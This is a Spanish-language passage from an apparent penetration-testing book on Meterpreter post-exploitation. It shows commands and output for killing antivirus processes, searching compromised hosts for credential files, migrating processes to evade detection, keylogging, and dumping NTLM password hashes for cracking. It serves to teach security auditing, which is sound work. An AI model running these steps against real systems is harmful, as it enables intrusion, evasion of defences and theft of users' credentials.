Ir más allá en la posexplotación
Introducción
La posexplotación es una fase particularmente importante, ya que permite profundizar aún más en el perímetro objetivo (definido en el mandato de autorización en el caso de una auditoría, o completamente libre, en el caso de un atacante).
Con anterioridad se han explicado algunos comandos estándares, así como los comandos básicos de Meterpreter. Sin embargo, Meterpreter está lleno de posibilidades para ir aún más lejos en la fase de posexplotación:
Desactivar el software de seguridad
Cuando una máquina se ve comprometida, es posible que esté equipada con un antivirus que pueda complicar la fase posterior a la explotación. Para superar este problema, es posible utilizar el script post/windows/manage/killav. De hecho, este último tiene una lista de más de 600 antivirus cuyo objetivo es terminar el proceso (kill <PID>).
Esta lista se puede encontrar en /usr/share/metasploit-framework/data/wordlists/av_hips_executables.txt:
root@kali:/usr/share/metasploit-framework/data/wordlists# head
av_hips_executables.txt
emet_agent.exe
emet_service.exe
firesvc.exe
firetray.exe
hipsvc.exe
mfevtps.exe
mcafeefire.exe
scan32.exe
shstat.exe
tbmon.exe
Por lo tanto, el script se ejecuta pasando como argumento solo la sesión actual, de la siguiente manera:
msf6 > use post/windows/manage/killav
msf6 post(windows/manage/killav) > set SESSION 2
SESSION => 2
msf6 post(windows/manage/killav) > exploit
[*] Killing Antivirus services on the target
[*] Killing of nod32.exe
En caso de que el software de seguridad no esté en el archivo av_hips_executables.txt, puede realizar sus acciones manualmente gracias a los comandos ps (permite enumerar los procesos...
Elevar privilegios
1. Buscar archivos interesantes
Después de comprometer un sistema, puede ser interesante recorrerlo con objeto de buscar archivos interesantes para elevar sus privilegios, ya sea en la máquina comprometida o en otras máquinas de la red.
En caso de que el atacante no sepa exactamente dónde buscar, es posible utilizar el comando search de Meterpreter:
meterpreter > search -h
Usage: search [-d dir] [-r recurse] -f pattern [-f pattern]...
Search for files.
OPTIONS:
-d <opt> The directory/drive to begin searching from. Leave empty
to search all drives. (Default: )
-f <opt> A file pattern glob to search for. (e.g. *secret*.doc?)
-h Help Banner
-r <opt> Recursivly search sub directories. (Default: true)
meterpreter > search -f *.pdf
Found 897 results...
[...]
d:\Syngress - Stealing the Network How to Own a Shadow.pdf (9570109
bytes)
d:\Wireshark\Syngress -
Wireshark.and.Ethereal.Network.Protocol.Analyzer.Toolkit.Nov.2006.pdf
(13852555 bytes)
d:\Wireshark\Wireshark (R) 101 Essential Skills for Network
Analysis.pdf (19254979 bytes)
d:\Metasploit\Metasploit - The PenTest Guide.pdf (7237192 bytes)
d:\Metasploit\Metasploit Penetration Testing Cookbook.pdf
(5154679 bytes)
d:\Metasploit\Metasploit Toolkit for Penetration Testing.pdf
(5136941 bytes)
[...]
Sin embargo, un atacante con buena visibilidad de la máquina o del contexto de destino puede ir directamente a los archivos que contengan información confidencial, como archivos de base de datos (.sql), archivos de tipo keePass (.kdb o .kdbx), archivos que contienen la lista de los usuarios (/etc/passwd), archivos que contienen comandos ejecutados previamente (.bash_history), claves SSH, etc.
Ejemplo 1
En el caso del siguiente ejemplo de compromiso del sistema, fue posible comprometer el servidor de base de datos debido a la presencia de un comando...
Migrar procesos
Como resultado de un compromiso del sistema, puede ser necesario migrar el proceso de Meterpreter a otro. Esta migración permite:
-
ocultar el proceso para minimizar la detección,
-
cambiar la arquitectura del proceso (32 bits frente a 64 bits),
-
migrar a un proceso que disponga de más privilegios.
Una vez que se consigue comprometer el sistema, es posible conocer el proceso actual (getpid), así como mostrar todos los procesos en ejecución con el comando ps:
meterpreter > getpid
Current pid: 5816
meterpreter > ps
Process List
============
PID PPID Name Arch Session User
Path
--- ---- ---- ---- ------- ----
----
0 0 [System Process]
4 0 System x64 0
416 4 smss.exe x64 0 AUTORIDAD
NT\Sistema C:\Windows\System32\smss.exe
436 800 nvSCPAPISvr.exe x86 0 AUTORIDAD ...
Grabar las pulsaciones del teclado
Ahora que el concepto de migración de procesos ha quedado un poco más claro, es posible hablar de keylogging o registro de pulsaciones de teclado.
Para registrar las pulsaciones del teclado de un usuario, un atacante debe poder migrar a uno de estos dos procesos:
-
winlogon.exe para capturar los identificadores de conexión de los usuarios. Para migrar a este proceso, el proceso inicial debe pertenecer a System.
-
explorer.exe para capturar el resto de las pulsaciones del teclado (además de los identificadores de conexión).
En este caso, debido a que el proceso de destino no tiene suficientes privilegios, la migración se realiza hacia explorer.exe:
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
140 smss.exe \SystemRoot\System32\smss.exe
188 winlogon.exe ??\C:\WINNT\system32\winlogon.exe
216 services.exe C:\WINNT\system32\services.exe ...
Acceder a otras máquinas de la red
Si el alcance de las pruebas lo permite, es posible intentar acceder a otras máquinas de la red.
Como se ha visto en la sección Elevar privilegios - Buscar archivos interesantes, es posible encontrar información confidencial dentro de algunos archivos. Sin embargo, existen otras técnicas.
1. Reutilizar identificadores
Hemos visto que es posible obtener los hashes de los identificadores LM/NTLM gracias a los comandos hashdump y smart_hashdump de Meterpreter:
msf6 post(windows/gather/smart_hashdump) > exploit
[*] Running module against VICTIMAPC
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*]
/root/.msf4/loot/20190618081455_default_192.168.0.29_windows.hashes_3
08038.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY
073e3c624e24966502b500cba1fdeb0a...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
[+] Admin:"..."
[*] Dumping password hashes...
[+]
Administrador:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae
931bXXXXXXXXX7e0c089c0:::
[+]
Admin:1000:aad3b435b51404eeaad3b435b51404ee:fc8c2ba9cb96533a25f8d
5a9de8a499a:::
[+]
HomeGroupUser$:1005:aad3b435b51404eeaad3b435b51404ee:3a975b7d46b6
f136506578a20ef927c0:::
[+]
domy:1007:aad3b435b51404eeaad3b435b51404ee:bd8fc596f51dbe00fee673
14719db053:::
[*] Post module execution completed
Para tratar de romper las contraseñas recuperadas de esa manera y que queden expuestas de forma abierta, también se ha presentado el módulo auxiliary/analyze/jtr_windows_fast. RainbowTables se podría usar igualmente para descifrar contraseñas. Sin embargo...